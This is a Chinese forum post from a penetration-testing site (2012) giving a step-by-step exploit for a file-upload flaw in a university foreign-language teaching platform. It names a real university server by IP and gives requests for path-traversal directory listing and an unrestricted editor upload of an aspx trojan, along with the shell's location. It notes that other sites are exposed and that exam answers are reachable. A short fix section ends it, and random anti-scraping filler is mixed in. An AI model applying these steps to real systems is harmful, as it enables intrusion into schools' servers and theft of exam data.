中国网络渗透测试联盟
标题:
新理念外语网络教学平台文件上传漏洞
[打印本页]
作者:
admin
时间:
2012-12-4 11:10
标题:
新理念外语网络教学平台文件上传漏洞
好多大学都在用这个教学平台,这个漏洞会导致直接拿到试题答案,甚至作为跳板继续渗透进入学校其他服务器中
! @, y6 q& `, G1 V) z. w" F; H) `
9 R/ P- X/ J# ?! \- d3 h8 l
详细说明:
* m! Y. L6 G% ]* k1 a" L2 L3 L
, G4 A# J0 ~/ Z9 n; ` N& X1 y
以南开大学的为例:
. z$ E+ d: t( s/ s, P& G
http://222.30.60.3/NPELS
! E6 h5 H' |3 F! `/ u$ ?* M; O
NPELS_LearningCenter_5.0 客户端下的 Update.exe.config 文件泄露一个重要地址
" U' H' D9 v. R/ h
<setting name="Update_CommonSvr_CommonService" serializeAs="String">
$ D9 p. U; E$ ]3 ^% I7 x
<value>http://222.30.60.3/NPELS/CommonService.asmx</value>
2 b3 n5 E4 M8 ^# x6 J" B3 }. H& O
</setting>
! U% A7 @3 I8 D, ]- z8 }( K
及版本号
+ G" n* c' t- m( y6 F
<add key="TVersion" value="1, 0, 0, 2187">
; S# l+ ~' R1 E% ~
</add>
" Q; V2 [' d+ B& v; Y' u# T8 J& ^
直接访问
2 z* `9 |$ Q: y% |$ W( ]3 J2 F8 E
http://222.30.60.3/NPELS/CommonService.asmx
5 z" f/ p, j4 P1 ^6 u/ n0 u$ O
使用GetTestClientFileList操作,直接 HTTP GET 列目录:
, o7 k( X; U2 o0 M% a
http://222.30.60.3/NPELS/CommonS ... tFileList?version=1
, 0, 0, 2187
6 N# r) o8 f8 m5 I
进一步列目录(返回的网页很大,可以直接 wget 下来)
/ y4 r3 w2 _9 E
http://222.30.60.3/NPELS/CommonS ... List?version=../../
4 C+ q) j9 B9 X& h9 Y
g* u3 U0 }' {' n8 {) D7 W
发现
' i. y9 T1 z$ a6 z' e
http://zzxx.nankai.edu.cn/npelsv/editor/editor.htm
5 c' L0 E! |3 v/ W9 Q$ \
可以上传,直接上传aspx木马即可,不需要改后缀名或者文件头
& M5 X4 y. n- @; i8 b# T# |; B0 r
上传后继续列目录找到木马地址直接访问即可
P$ p/ k* o7 C& _) a
* l2 ^. \! o; [8 ?
OOXX
3 B" W L1 H1 g9 U# a! S i3 I' D
) M! _: A0 D( c9 `$ e+ R
Google "新理念外语网络教学平台" 测试了几个其他的站,都有类似的列目录上传方法
% K/ r$ F( L T5 N4 k+ M" ~- m# `
漏洞证明:
& Y6 a( V* R- s; u5 J% B
* R( q5 L3 }$ T* A8 d L2 x5 l' C
列目录:
0 C% v$ Z; V* J+ {$ g; p" A
http://222.30.60.3/NPELS/CommonS ... List?version=../../
5 i6 ?8 L9 M# k; p5 r
文件上传:
8 Z7 l# M j, T1 v7 ]3 b" E' f+ a
http://222.30.60.3/npelsv/editor/editor.htm
" a' b S& Z9 \9 q. y
9 @, H3 z) t, o8 Q( |6 u. ]$ U
上传木马:
: _! r$ Y0 Z7 Q5 ~# h" z
http://222.30.60.3/npelsv/editor/uploadfiles/1.aspx
8 j% v' n F+ D) ~. H3 a9 @% p9 d
[/ W7 ^' _. F# [' Q4 e K" L
修复方案:
3 c; r5 u) {1 T* A( {
好像考试系统必须使用 CommonService.asmx
7 M/ j/ f" H% T( w' i( S% T
最好配置文件加密或者用别的方式不让它泄露出来
: e# O$ d' W, `3 F. o! i& f
并且检查或删除各上传入口,像
http://222.30.60.3/NPELS/Upload.aspx
一样
4 H5 h3 s% ~$ s4 I
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2